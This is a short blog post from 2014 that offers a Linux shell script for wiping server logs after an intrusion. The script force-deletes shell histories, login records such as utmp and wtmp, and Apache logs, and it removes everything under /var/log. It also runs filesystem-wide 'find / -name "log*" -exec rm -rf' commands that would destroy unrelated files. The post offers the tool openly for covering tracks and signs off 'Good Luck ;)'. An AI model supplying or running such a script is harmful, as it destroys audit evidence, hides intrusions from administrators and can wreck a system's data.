Tuesday, August 19, 2014

Server Log Cleaner Linux

#!/bin/sh 
# Coded By Red H4t V!per (Vanda)
# chmod 0755 scriptname.sh >> ./scriptname.sh 

echo "[*] Going TO Delete Log Servers ... "
find / -name *.bash_history -exec rm -rf {} \;
find / -name *.bash_logout -exec rm -rf {} \;
find / -name "log*" -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;
rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout 
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp

echo "[*] Done . Good Luck;)"  

0 Comments:

Post a Comment